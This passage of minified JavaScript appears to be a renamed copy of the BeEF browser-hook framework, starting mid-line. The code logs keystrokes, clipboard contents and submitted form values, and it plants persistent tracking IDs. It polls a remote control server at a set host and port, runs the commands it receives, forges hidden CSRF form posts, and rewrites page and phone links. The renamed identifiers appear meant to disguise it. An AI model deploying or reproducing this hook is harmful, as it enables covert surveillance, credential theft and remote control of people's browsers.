Array,s=$j.Deferred(),c=1;c<=t;c++)a[c]=$j.ajax({type:"get",dataType:!0,url:i.replace("<token>",c)+Math.random(),data:"",timeout:1e3*n,complete:function(e,n){r++,"error"==n&&o++,r>=t&&s.resolveWith(o)}});return s.promise()}},mnE.regCmp("mnE.browser"),
1058// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
1059/*!
1060 * @literal object: mnE.browser.cookie
1061 *
1062 * Provides fuctions for working with cookies.
1063 * Several functions adopted from http://techpatterns.com/downloads/javascript_cookies.php
1064 * Original author unknown.
1065 *
1066 */
1067mnE.browser.cookie={setCookie:function(e,t,n,i,o,r){var a=new Date;a.setTime(a.getTime()),n&&(n=1e3*n*60*60*24);var s=new Date(a.getTime()+n);document.cookie=e+"="+escape(t)+(n?";expires="+s.toGMTString():"")+(i?";path="+i:"")+(o?";domain="+o:"")+(r?";secure":"")},getCookie:function(e){var t=document.cookie.split(";"),n="",o="",r=!1;for(i=0;i<t.length;i++){if(n=t[i].split("="),n[0].replace(/^\s+|\s+$/g,"")==e)return r=!0,n.length>1&&(o=unescape(n[1].replace(/^\s+|\s+$/g,""))),o;n=null,""}if(!r)return null},deleteCookie:function(e,t,n){this.getCookie(e)&&(document.cookie=e+"="+(t?";path="+t:"")+(n?";domain="+n:"")+";expires=Thu, 01-Jan-1970 00:00:01 GMT")},veganLol:function(){for(var e="",t=17,n=25,i=Math.floor(Math.random()*(n-t+1))+t,o=function(){var e=Math.floor(62*Math.random()),t="";return t=e<36?String.fromCharCode(e+55):String.fromCharCode(e+61),";"!=t&&"="!=t?t:"x"};e.length<i;)e+=o();return e},hasSessionCookies:function(e){return this.setCookie(e,mnE.browser.cookie.veganLol(),"","/","",""),cookiesEnabled=null!=this.getCookie(e),this.deleteCookie(e,"/",""),cookiesEnabled},hasPersistentCookies:function(e){return this.setCookie(e,mnE.browser.cookie.veganLol(),1,"/","",""),cookiesEnabled=null!=this.getCookie(e),this.deleteCookie(e,"/",""),cookiesEnabled}},mnE.regCmp("mnE.browser.cookie"),
1068// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
1069/*!
1070 * @literal object: mnE.browser.popup
1071 *
1072 * Provides fuctions for working with cookies.
1073 * Several functions adopted from http://davidwalsh.name/popup-block-javascript
1074 * Original author unknown.
1075 *
1076 */
1077mnE.browser.popup={blocker_enabled:function(){screenParams=mnE.browser.getScreenSize();var e=window.open("/","windowName0","width=1, height=1, left="+screenParams.width+", top="+screenParams.height+", scrollbars, resizable");return null==e||void 0===e||(e.close(),!1)}},mnE.regCmp("mnE.browser.popup"),
1078// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
1079/*!
1080 * @literal object: mnE.session
1081 *
1082 * Provides basic session functions.
1083 */
1084mnE.session={hook_session_id_length:80,hook_session_id_chars:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",ec:new jkW,mnEhook:"SuaRw",get_hook_session_id:function(){var e=this.ec.jkW_cookie(mnE.session.mnEhook);if(void 0===e)var e=this.ec.jkW_userdata(mnE.session.mnEhook);if(void 0===e)var e=this.ec.jkW_window(mnE.session.mnEhook);return void 0!==e&&null!=e||(e=this.gen_hook_session_id(),this.set_hook_session_id(e)),e},set_hook_session_id:function(e){this.ec.jkW_cookie(mnE.session.mnEhook,e),this.ec.jkW_userdata(mnE.session.mnEhook,e),this.ec.jkW_window(mnE.session.mnEhook,e)},gen_hook_session_id:function(){for(var e="",t=0;t<this.hook_session_id_length;t++){var n=Math.floor(Math.random()*this.hook_session_id_chars.length);e+=this.hook_session_id_chars.charAt(n)}return e}},mnE.regCmp("mnE.session"),
1085// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
1086mnE.os={ua:navigator.userAgent,getDefaultBrowser:function(){var e="Unknown";try{var t=document.mimeType;t&&("Safari Document"==t&&(e="Safari"),"Firefox HTML Document"==t&&(e="Firefox"),"Chrome HTML Document"==t&&(e="Chrome"),"HTML Document"==t&&(e="Internet Explorer"),"Opera Web Document"==t&&(e="Opera"))}catch(e){mnE.debug("[os] getDefaultBrowser: "+e.message)}return e},isWin311:function(){return!!this.ua.match("(Win16)")},isWinNT4:function(){return!!this.ua.match("(Windows NT 4.0)")},isWin95:function(){return!!this.ua.match("(Windows 95)|(Win95)|(Windows_95)")},isWinCE:function(){return!!this.ua.match("(Windows CE)")},isWin98:function(){return!!this.ua.match("(Windows 98)|(Win98)")},isWinME:function(){return!!this.ua.match("(Windows ME)|(Win 9x 4.90)")},isWin2000:function(){return!!this.ua.match("(Windows NT 5.0)|(Windows 2000)")},isWin2000SP1:function(){return!!this.ua.match("Windows NT 5.01 ")},isWinXP:function(){return!!this.ua.match("(Windows NT 5.1)|(Windows XP)")},isWinServer2003:function(){return!!this.ua.match("(Windows NT 5.2)")},isWinVista:function(){return!!this.ua.match("(Windows NT 6.0)")},isWin7:function(){return!!this.ua.match("(Windows NT 6.1)|(Windows NT 7.0)")},isWin8:function(){return!!this.ua.match("(Windows NT 6.2)")},isWin81:function(){return!!this.ua.match("(Windows NT 6.3)")},isOpenBSD:function(){return-1!=this.ua.indexOf("OpenBSD")},isSunOS:function(){return-1!=this.ua.indexOf("SunOS")},isLinux:function(){return!!this.ua.match("(Linux)|(X11)")},isMacintosh:function(){return!!this.ua.match("(Mac_PowerPC)|(Macintosh)|(MacIntel)")},isOsxYosemite:function(){return!!this.ua.match("(OS X 10_10)|(OS X 10.10)")},isOsxMavericks:function(){return!!this.ua.match("(OS X 10_9)|(OS X 10.9)")},isOsxSnowLeopard:function(){return!!this.ua.match("(OS X 10_8)|(OS X 10.8)")},isOsxLeopard:function(){return!!this.ua.match("(OS X 10_7)|(OS X 10.7)")},isWinPhone:function(){return!!this.ua.match("(Windows Phone)")},isIphone:function(){return-1!=this.ua.indexOf("iPhone")},isIpad:function(){return-1!=this.ua.indexOf("iPad")},isIpod:function(){return-1!=this.ua.indexOf("iPod")},isNokia:function(){return!!this.ua.match("(Maemo Browser)|(Symbian)|(Nokia)")},isAndroid:function(){return!!this.ua.match("Android")},isBlackBerry:function(){return!!this.ua.match("BlackBerry")},isWebOS:function(){return!!this.ua.match("webOS")},isQNX:function(){return!!this.ua.match("QNX")},isBeOS:function(){return!!this.ua.match("BeOS")},isWindows:function(){return!!this.ua.match("Windows")},getName:function(){if(this.isWindows())return"Windows";if(this.isMacintosh())return"OSX";if(this.isNokia()){if(-1!=this.ua.indexOf("Maemo Browser"))return"Maemo";if(this.ua.match("(SymbianOS)|(Symbian OS)"))return"SymbianOS";if(-1!=this.ua.indexOf("Symbian"))return"Symbian"}return this.isBlackBerry()?"BlackBerry OS":this.isAndroid()?"Android":this.isSunOS()?"SunOS":this.isLinux()?"Linux":this.isIphone()?"iOS":this.isIpad()?"iOS":this.isIpod()?"iOS":this.isQNX()?"QNX":this.isBeOS()?"BeOS":this.isWebOS()?"webOS":"unknown"},getVersion:function(){if(this.isWindows()){if(this.isWin81())return"8.1";if(this.isWin8())return"8";if(this.isWin7())return"7";if(this.isWinVista())return"Vista";if(this.isWinXP())return"XP";if(this.isWinServer2003())return"Server 2003";if(this.isWin2000SP1())return"2000 SP1";if(this.isWin2000())return"2000";if(this.isWinME())return"Millenium";if(this.isWinNT4())return"NT 4";if(this.isWinCE())return"CE";if(this.isWin95())return"95";if(this.isWin98())return"98"}if(this.isMacintosh()){if(this.isOsxYosemite())return"10.10";if(this.isOsxMavericks())return"10.9";if(this.isOsxSnowLeopard())return"10.8";if(this.isOsxLeopard())return"10.7"}}},mnE.regCmp("mnE.net.os"),
1087// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
1088mnE.hardware={ua:navigator.userAgent,cpuType:function(){var e="UNKNOWN";if(navigator.userAgent.match("(WOW64|x64|x86_64)")||"win64"==navigator.platform.toLowerCase())e="x86_64";else if("undefined"!=typeof navigator.cpuClass)switch(navigator.cpuClass){case"68K":e="Motorola 68K";break;case"PPC":e="Motorola PPC";break;case"Digital":e="Alpha";break;default:e="x86"}return e},isTouchEnabled:function(){return"ontouchstart"in document},isVirtualMachine:function(){return!!(screen.width%2||screen.height%2)},isLaptop:function(){return 1366==screen.width&&768==screen.height||1024==screen.width&&600==screen.height},isNokia:function(){return!!this.ua.match("(Maemo Browser)|(Symbian)|(Nokia)")},isZune:function(){return!!this.ua.match("ZuneWP7")},isHtc:function(){return!!this.ua.match("HTC")},isEricsson:function(){return!!this.ua.match("Ericsson")},isMotorola:function(){return!!this.ua.match("Motorola")},isGoogle:function(){return!!this.ua.match("Nexus One")},isMobilePhone:function(){return DetectMobileQuick()},getName:function(){var e=navigator.userAgent.toLowerCase();return DetectIphone()?"iPhone":DetectIpod()?"iPod Touch":DetectIpad()?"iPad":this.isHtc()?"HTC":this.isMotorola()?"Motorola":this.isZune()?"Zune":this.isGoogle()?"Google Nexus One":this.isEricsson()?"Ericsson":DetectAndroidPhone()?"Android Phone":DetectAndroidTablet()?"Android Tablet":DetectS60OssBrowser()?"Nokia S60 Open Source":e.search(deviceS60)>-1?"Nokia S60":e.search(deviceS70)>-1?"Nokia S70":e.search(deviceS80)>-1?"Nokia S80":e.search(deviceS90)>-1?"Nokia S90":e.search(deviceSymbian)>-1?"Nokia Symbian":this.isNokia()?"Nokia":DetectWindowsPhone7()?"Windows Phone 7":DetectWindowsMobile()?"Windows Mobile":DetectBlackBerryTablet()?"BlackBerry Tablet":DetectBlackBerryWebKit()?"BlackBerry OS 6":DetectBlackBerryTouch()?"BlackBerry Touch":DetectBlackBerryHigh()?"BlackBerry OS 5":DetectBlackBerry()?"BlackBerry":DetectPalmOS()?"Palm OS":DetectPalmWebOS()?"Palm Web OS":DetectGarminNuvifone()?"Gamin Nuvifone":DetectArchos()?"Archos":DetectBrewDevice()?"Brew":DetectDangerHiptop()?"Danger Hiptop":DetectMaemoTablet()?"Maemo Tablet":DetectSonyMylo()?"Sony Mylo":DetectAmazonSilk()?"Kindle Fire":DetectKindle()?"Kindle":DetectSonyPlaystation()?"Playstation":e.search(deviceNintendoDs)>-1?"Nintendo DS":e.search(deviceWii)>-1?"Nintendo Wii":e.search(deviceNintendo)>-1?"Nintendo":DetectXbox()?"Xbox":this.isLaptop()?"Laptop":this.isVirtualMachine()?"Virtual Machine":"Unknown"}},mnE.regCmp("mnE.hardware"),
1089// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
1090/*!
1091 * @literal object: mnE.dom
1092 *
1093 * Provides functionality to manipulate the DOM.
1094 */
1095mnE.dom={generateID:function(e){return(null==e?"mnE-":e)+Math.floor(99999*Math.random())},createElement:function(e,t){var n=document.createElement(e);for(index in t)"string"==typeof t[index]&&n.setAttribute(index,t[index]);return n},removeElement:function(e){mnE.dom.isDOMElement(e)||(e=document.getElementById(e));try{e.parentNode.removeChild(e)}catch(e){}},isDOMElement:function(e){return!!e.nodeType},createInvisibleIframe:function(){var e=this.createElement("iframe",{width:"1px",height:"1px",style:"visibility:hidden;"});return document.body.appendChild(e),e},getHighestZindex:function(e){var t={height:0,elem:""};return $j("*").each(function(){var e=parseInt($j(this).css("zIndex"),10);e>t.height&&(t.height=e,t.elem=$j(this).attr("id"))}),e?t:t.height},createIframe:function(e,t,n,i){var o={};return"hidden"==e?o=$j.extend(!0,{border:"none",width:"1px",height:"1px",display:"none",visibility:"hidden"},n):"fullscreen"==e?(o=$j.extend(!0,{border:"none","background-color":"white",width:"100%",height:"100%",position:"absolute",top:"0px",left:"0px","z-index":mnE.dom.getHighestZindex()+1},n),$j("body").css({padding:"0px",margin:"0px"})):(o=n,$j("body").css({padding:"0px",margin:"0px"})),$j("<iframe />").attr(t).css(o).load(i).prependTo("body")},persistentIframe:function(){$j("a").click(function(e){""!=$j(this).attr("href")&&(e.preventDefault(),mnE.dom.createIframe("fullscreen","get",{src:$j(this).attr("href")},{},null),$j(document).attr("title",$j(this).html()),document.body.scroll="no",document.documentElement.style.overflow="hidden")})},grayOut:function(e,t){var t=t||{},n=t.zindex||mnE.dom.getHighestZindex()+1,i=t.opacity||70,o=i/100,r=t.bgcolor||"#000000",a=document.getElementById("darkenScreenObject");if(!a){var s=document.getElementsByTagName("body")[0],c=document.createElement("div");c.style.position="absolute",c.style.top="0px",c.style.left="0px",c.style.overflow="hidden",c.style.display="none",c.id="darkenScreenObject",s.appendChild(c),a=document.getElementById("darkenScreenObject")}if(e){if(document.body&&(document.body.scrollWidth||document.body.scrollHeight))var u=document.body.scrollWidth+"px",d=document.body.scrollHeight+"px";else if(document.body.offsetWidth)var u=document.body.offsetWidth+"px",d=document.body.offsetHeight+"px";else var u="100%",d="100%";a.style.opacity=o,a.style.MozOpacity=o,a.style.filter="alpha(opacity="+i+")",a.style.zIndex=n,a.style.backgroundColor=r,a.style.width=u,a.style.height=d,a.style.display="block"}else a.style.display="none"},removeStylesheets:function(){$j("link[rel=stylesheet]").remove(),$j("style").remove()},createForm:function(e,t){var n=$j("<form></form>").attr(e);return t&&$j("body").append(n),n},getLocation:function(){return document.location.href},getLinks:function(){for(var e=[],t=document.links,n=0;n<t.length;n++)e=e.concat(t[n].href);return e},rewriteLinks:function(e,t){var n=null==t?"a":t;return $j(n).each(function(){null!=$j(this).attr("href")&&$j(this).attr("href",e).click(function(){return!0})}).length},rewriteLinksClickEvents:function(e,t){var n=null==t?"a":t;return $j(n).each(function(){null!=$j(this).attr("href")&&$j(this).click(function(){this.href=e})}).length},rewriteLinksProtocol:function(e,t,n){var i=0,o=new RegExp(e+"://","gi"),r=null==n?"a":n;return $j(r).each(function(){if(null!=$j(this).attr("href")){var e=$j(this).attr("href");e.match(o)&&($j(this).attr("href",e.replace(o,t+"://")).click(function(){return!0}),i++)}}),i},rewriteTelLinks:function(e,t){var n=0,i=new RegExp("tel:/?/?.*","gi"),o=null==t?"a":t;return $j(o).each(function(){if(null!=$j(this).attr("href")){var t=$j(this).attr("href");t.match(i)&&($j(this).attr("href",t.replace(i,"tel:"+e)).click(function(){return!0}),n++)}}),n},parseAppletParams:function(e){var t="";for(i in e){var n=e[i];for(key in n)t+="<param name='"+key+"' value='"+n[key]+"' />"}return t},attachApplet:function(e,t,n,i,o,r){var a=null;mnE.browser.isIE()&&(a="<object id='"+e+"'classid='clsid:8AD9C840-044E-11D1-B3E9-00805F499D93' height='0' width='0' name='"+t+"'> <param name='code' value='"+n+"' />",null!=i&&(a+="<param name='codebase' value='"+i+"' />"),null!=o&&(a+="<param name='archive' value='"+o+"' />"),null!=r&&(a+=mnE.dom.parseAppletParams(r)),a+="</object>"),(mnE.browser.isC()||mnE.browser.isS()||mnE.browser.isO()||mnE.browser.isFF())&&(a=null!=i?"<applet id='"+e+"' code='"+n+"' codebase='"+i+"' height='0' width='0' name='"+t+"'>":"<applet id='"+e+"' code='"+n+"' archive='"+o+"' height='0' width='0' name='"+t+"'>",null!=r&&(a+=mnE.dom.parseAppletParams(r)),a+="</applet>"),$j("body").append(a)},detachApplet:function(e){$j("#"+e).detach()},createIframeXsrfForm:function(e,t,n,o){var r=mnE.dom.createInvisibleIframe(),a=document.createElement("form");a.setAttribute("action",e),a.setAttribute("method",t),a.setAttribute("enctype",n);var s=null;for(i in o){var c=o[i];s=document.createElement("input");for(key in c)s.setAttribute(key,c[key]);a.appendChild(s)}return r.contentWindow.document.body.appendChild(a),a.submit(),r},createIframeIpecForm:function(e,t,n,i){var o=mnE.dom.createInvisibleIframe(),r=document.createElement("form");return r.setAttribute("action","http://"+e+":"+t+n),r.setAttribute("method","POST"),r.setAttribute("enctype","multipart/form-data"),input=document.createElement("textarea"),input.setAttribute("name",Math.random().toString(36).substring(5)),input.value=i,r.appendChild(input),o.contentWindow.document.body.appendChild(r),r.submit(),o}},mnE.regCmp("mnE.dom"),
1096// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
1097/*!
1098 * @literal object: mnE.logger
1099 *
1100 * Provides logging capabilities.
1101 */
1102mnE.logger={running:!1,id:0,events:[],stream:[],target:null,time:null,e:function(){this.id=mnE.logger.get_id(),this.time=mnE.logger.get_timestamp(),this.type=null,this.x=0,this.y=0,this.target=null,this.data=null,this.mods=null},start:function(){mnE.browser.hookChildFrames(),this.running=!0;var e=new Date;this.time=e.getTime(),$j(document).keypress(function(e){mnE.logger.keypress(e)}).click(function(e){mnE.logger.click(e)}),$j(window).focus(function(e){mnE.logger.win_focus(e)}).blur(function(e){mnE.logger.win_blur(e)}),$j("form").submit(function(e){mnE.logger.submit(e)}),document.body.oncopy=function(){setTimeout("mnE.logger.copy();",10)},document.body.oncut=function(){setTimeout("mnE.logger.cut();",10)},document.body.onpaste=function(){mnE.logger.paste()}},stop:function(){this.running=!1,clearInterval(this.timer),$j(document).keypress(null)},get_id:function(){return++this.id},click:function(e){var t=new mnE.logger.e;t.type="click",t.x=e.pageX,t.y=e.pageY,t.target=mnE.logger.get_dom_identifier(e.target),this.events.push(t)},win_focus:function(){var e=new mnE.logger.e;e.type="focus",this.events.push(e)},win_blur:function(){var e=new mnE.logger.e;e.type="blur",this.events.push(e)},keypress:function(e){null!=this.target&&$j(this.target).get(0)===$j(e.target).get(0)||(mnE.logger.push_stream(),this.target=e.target),this.stream.push({"char":e.which,modifiers:{alt:e.altKey,ctrl:e.ctrlKey,shift:e.shiftKey}})},copy:function(){try{var e=new mnE.logger.e;e.type="copy",e.data=clipboardData.getData("Text"),this.events.push(e)}catch(e){}},cut:function(){try{var e=new mnE.logger.e;e.type="cut",e.data=clipboardData.getData("Text"),this.events.push(e)}catch(e){}},paste:function(){try{var e=new mnE.logger.e;e.type="paste",e.data=clipboardData.getData("Text"),this.events.push(e)}catch(e){}},submit:function(e){try{var t=new mnE.logger.e,n="";t.type="submit",t.target=mnE.logger.get_dom_identifier(e.target);for(var i=0;i<e.target.elements.length;i++)n+="["+i+"] "+e.target.elements[i].name+"="+e.target.elements[i].value+"\n";t.data="Action: "+$j(e.target).attr("action")+" - Method: "+$j(e.target).attr("method")+" - Values:\n"+n,this.events.push(t)}catch(e){}},push_stream:function(){this.stream.length>0&&(this.events.push(mnE.logger.parse_stream()),this.stream=[])},get_dom_identifier:function(e){e=null==e?this.target:e;var t="";return e&&(t=e.tagName.toLowerCase(),t+=$j(e).attr("id")?"#"+$j(e).attr("id"):" ",t+=$j(e).attr("name")?"("+$j(e).attr("name")+")":""),t},get_timestamp:function(){return(((new Date).getTime()-this.time)/1e3).toFixed(3)},parse_stream:function(){var e="",t="";for(var n in this.stream)try{var i=this.stream[n].modifiers;e+=String.fromCharCode(this.stream[n]["char"]),void 0===i||1!=i.alt&&1!=i.ctrl&&1!=i.shift||(t+=i.alt?" [Alt] ":"",t+=i.ctrl?" [Ctrl] ":"",t+=i.shift?" [Shift] ":"",t+=String.fromCharCode(this.stream[n]["char"]))}catch(e){}var o=new mnE.logger.e;return o.type="keys",o.target=mnE.logger.get_dom_identifier(),o.data=e,o.mods=t,o},queue:function(){mnE.logger.push_stream(),this.events.length>0&&(mnE.net.queue("/event",0,this.events),this.events=[])}},mnE.regCmp("mnE.logger"),
1103// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
1104/*!
1105 * @literal object: mnE.net
1106 *
1107 * Provides basic networking functions,
1108 * like mnE.net.request and mnE.net.forgeRequest,
1109 * used by DAW command modules and the Requester extension,
1110 * as well as mnE.net.send which is used to return commands
1111 * to DAW server-side components.
1112 *
1113 * Also, it contains the core methods used by the XHR-polling
1114 * mechanism (flush, queue)
1115 */
1116mnE.net={host:"127.0.0.1",port:"3000",hook:"/hook.js",httpproto:"http",handler:"/dh",chop:500,pad:30,sid_count:0,cmd_queue:[],command:function(){this.cid=null,this.results=null,this.status=null,this.handler=null,this.callback=null},packet:function(){this.id=null,this.data=null},stream:function(){this.id=null,this.packets=[],this.pc=0,this.get_base_url_length=function(){return(this.url+this.handler+"?bh="+mnE.session.get_hook_session_id()).length},this.get_packet_data=function(){var e=this.packets.shift();return{bh:mnE.session.get_hook_session_id(),sid:this.id,pid:e.id,pc:this.pc,d:e.data}}},response:function(){this.status_code=null,this.status_text=null,this.response_body=null,this.port_status=null,this.was_cross_domain=null,this.was_timedout=null,this.duration=null,this.headers=null},queue:function(e,t,n,i,o){if("string"==typeof e&&"number"==typeof t&&(o===undefined||"function"==typeof o)){var r=new mnE.net.command;r.cid=t,r.results=mnE.net.clean(n),r.status=i,r.callback=o,r.handler=e,this.cmd_queue.push(r)}},send:function(e,t,n,i,o){var r=0;if(null!=i&&parseInt(Number(i))==i&&(r=i),"undefined"==typeof mnE.websocket||"/init"===e&&0==t)this.queue(e,t,n,r,o),this.flush();else try{mnE.websocket.send('{"handler" : "'+e+'", "cid" :"'+t+'", "result":"'+mnE.encode.base64.encode(mnE.encode.json.stringify(n))+'", "status": "'+i+'", "callback": "'+o+'","bh":"'+mnE.session.get_hook_session_id()+'" }')}catch(i){this.queue(e,t,n,r,o),this.flush()}return r},flush:function(){if(this.cmd_queue.length>0){var e=mnE.encode.base64.encode(mnE.encode.json.stringify(this.cmd_queue));this.cmd_queue.length=0,this.sid_count++;var t=new this.stream;t.id=this.sid_count;var n=t.get_base_url_length()+this.pad;if(this.chop-n>0){for(var e=this.chunk(e,this.chop-n),i=1;i<=e.length;i++){var o=new this.packet;o.id=i,o.data=e[i-1],t.packets.push(o)}t.pc=t.packets.length,this.push(t)}}},chunk:function(e,t){return void 0===t&&(n=2),e.match(RegExp(".{1,"+t+"}","g"))},push:function(e){for(var t=0;t<e.pc;t++)this.request(this.httpproto,"GET",this.host,this.port,this.handler,null,e.get_packet_data(),10,"text",null)},request:function(e,t,n,i,o,r,a,s,c,u){var d=!0;document.domain==n.replace(/(\r\n|\n|\r)/gm,"")&&(""!=document.location.port&&null!=document.location.port||(d=!("80"==i||"443"==i)));var l="";-1!=o.indexOf("http://")||-1!=o.indexOf("https://")?l=o:(l=e+"://"+n,l=null!=i?l+":"+i:l,l=null!=o?l+o:l,l=null!=r?l+"#"+r:l);var h=new this.response;h.was_cross_domain=d;var p=(new Date).getTime();return"POST"==t?$j.ajaxSetup({dataType:c}):$j.ajaxSetup({dataType:"script"}),$j.ajax({type:t,url:l,data:a,timeout:1e3*s,beforeSend:function(e){"POST"==t&&e.setRequestHeader("Content-type","application/x-www-form-urlencoded; charset=utf-8")},success:function(e,t,n){var i=(new Date).getTime();h.status_code=n.status,h.status_text=t,h.response_body=e,h.port_status="open",h.was_timedout=!1,h.duration=i-p},error:function(e,t){var n=(new Date).getTime();h.response_body=e.responseText,h.status_code=e.status,h.status_text=t,h.duration=n-p,h.port_status="open"},complete:function(e,t){h.status_code=e.status,h.status_text=t,h.headers=e.getAllResponseHeaders(),"timeout"==t?(h.was_timedout=!0,h.response_body="ERROR: Timed out\n",h.port_status="closed"):h.port_status="parsererror"==t?"not-http":"open"}}).always(function(){null!=u&&u(h)}),h},forge_request:function(e,t,n,i,o,r,a,s,c,u,d,l,h){var p=!0;if("undefined"!=n&&"undefined"!=o){document.domain==n.replace(/(\r\n|\n|\r)/gm,"")&&(""==document.location.port||null==document.location.port?p=!("80"==i||"443"==i):document.location.port==i&&(p=!1));var f="";-1!=o.indexOf("http://")||-1!=o.indexOf("https://")?f=o:(f=e+"://"+n,f=null!=i?f+":"+i:f,f=null!=o?f+o:f,f=null!=r?f+"#"+r:f);var m=new this.response;m.was_cross_domain=p;var g=(new Date).getTime();return"false"==d&&p&&null!=h?(m.status_code=-1,m.status_text="crossdomain",m.port_status="crossdomain",m.response_body="ERROR: Cross Domain Request. The request was not sent.\n",m.headers="ERROR: Cross Domain Request. The request was not sent.\n",h(m,l),m):("POST"==t?$j.ajaxSetup({dataType:u}):$j.ajaxSetup({dataType:"script"}),mnE.browser.isIE()&&(u="script"),$j.ajax({type:t,dataType:u,url:f,headers:a,timeout:1e3*c,beforeSend:function(e){"POST"==t&&e.setRequestHeader("Content-type","application/x-www-form-urlencoded; charset=utf-8")},data:s,success:function(e,t,n){var i=(new Date).getTime();m.status_code=n.status,m.status_text=t,m.response_body=e,m.was_timedout=!1,m.duration=i-g},error:function(e,t){var n=(new Date).getTime();m.response_body=e.responseText,m.status_code=e.status,m.status_text=t,m.duration=n-g},complete:function(e,t){p?(m.port_status="crossdomain",0!=e.status?m.status_code=e.status:m.status_code=-1,m.status_text=t||"crossdomain",e.getAllResponseHeaders()?m.headers=e.getAllResponseHeaders():m.headers="ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n",m.response_body||(m.response_body="ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n")):(m.status_code=e.status,m.status_text=t,m.headers=e.getAllResponseHeaders(),"timeout"==t?(m.was_timedout=!0,m.response_body="ERROR: Timed out\n",m.port_status="closed"):"parsererror"==t?(m.port_status="not-http",mnE.browser.isIE()&&(m.status_text="success",m.port_status="open")):m.port_status="open"),h(m,l)}}),m)}},clean:function(e){if(this.array_has_string_key(e)){var t={};for(var n in e)t[n]=this.array_has_string_key(t[n])?this.clean(e[n]):e[n];return t}return e},array_has_string_key:function(e){if($j.isArray(e))try{for(var t in e)if(isNaN(parseInt(t)))return!0}catch(e){}return!1},browser_details:function(){var e=mnE.browser.getDetails();e.HookSessionID=mnE.session.get_hook_session_id(),this.send("/init",0,e)}},mnE.regCmp("mnE.net"),
1117// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
1118/*!
1119 * @Literal object: mnE.updater
1120 *
1121 * Object in charge of getting new commands from the DAW framework and execute them.
1122 * The XHR-polling channel is managed here. If WebSockets are enabled,
1123 * websocket.ls is used instead.
1124 */
1125mnE.updater={xhr_poll_timeout:"1000",mnEhook:"SuaRw",lock:!1,objects:new Object,regObject:function(e,t){this.objects[e]=escape(t)},check:function(){0==this.lock&&(mnE.logger.running&&mnE.logger.queue(),mnE.net.flush(),mnE.commands.length>0?this.execute_commands():this.get_commands()),setTimeout(function(){mnE.updater.check()},mnE.updater.xhr_poll_timeout)},get_commands:function(){try{this.lock=!0,mnE.net.request(mnE.net.httpproto,"GET",mnE.net.host,mnE.net.port,mnE.net.hook,null,mnE.updater.mnEhook+"="+mnE.session.get_hook_session_id(),5,"script",function(e){null!=e.body&&e.body.length>0&&mnE.updater.execute_commands()})}catch(e){return void(this.lock=!1)}this.lock=!1},execute_commands:function(){if(0!=mnE.commands.length){for(this.lock=!0;mnE.commands.length>0;){command=mnE.commands.pop();try{command()}catch(e){mnE.debug("execute_commands - command failed to execute: "+e.message),mnE.debug(command.toString())}}this.lock=!1}}},mnE.regCmp("mnE.updater"),
1126// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
1127mnE.encode={},mnE.encode.base64={keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",encode:function(e){if(window.btoa)return btoa(unescape(encodeURIComponent(e)));var t,n,i,o,r,a,s,c="",u=0;for(e=mnE.encode.base64.utf8_encode(e);u<e.length;)t=e.charCodeAt(u++),n=e.charCodeAt(u++),i=e.charCodeAt(u++),o=t>>2,r=(3&t)<<4|n>>4,a=(15&n)<<2|i>>6,s=63&i,isNaN(n)?a=s=64:isNaN(i)&&(s=64),c=c+this.keyStr.charAt(o)+this.keyStr.charAt(r)+this.keyStr.charAt(a)+this.keyStr.charAt(s);return c},decode:function(e){if(window.atob)return escape(atob(e));var t,n,i,o,r,a,s,c="",u=0;for(e=e.replace(/[^A-Za-z0-9\+\/\=]/g,"");u<e.length;)o=this.keyStr.indexOf(e.charAt(u++)),r=this.keyStr.indexOf(e.charAt(u++)),a=this.keyStr.indexOf(e.charAt(u++)),s=this.keyStr.indexOf(e.charAt(u++)),t=o<<2|r>>4,n=(15&r)<<4|a>>2,i=(3&a)<<6|s,c+=String.fromCharCode(t),64!=a&&(c+=String.fromCharCode(n)),64!=s&&(c+=String.fromCharCode(i));return c=mnE.encode.base64.utf8_decode(c)},utf8_encode:function(e){e=e.replace(/\r\n/g,"\n");for(var t="",n=0;n<e.length;n++){var i=e.charCodeAt(n);i<128?t+=String.fromCharCode(i):i>127&&i<2048?(t+=String.fromCharCode(i>>6|192),t+=String.fromCharCode(63&i|128)):(t+=String.fromCharCode(i>>12|224),t+=String.fromCharCode(i>>6&63|128),t+=String.fromCharCode(63&i|128))}return t},utf8_decode:function(e){for(var t="",n=0,i=c1=c2=0;n<e.length;)i=e.charCodeAt(n),i<128?(t+=String.fromCharCode(i),n++):i>191&&i<224?(c2=e.charCodeAt(n+1),t+=String.fromCharCode((31&i)<<6|63&c2),n+=2):(c2=e.charCodeAt(n+1),c3=e.charCodeAt(n+2),t+=String.fromCharCode((15&i)<<12|(63&c2)<<6|63&c3),n+=3);return t}},mnE.regCmp("mnE.encode.base64"),
1128// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
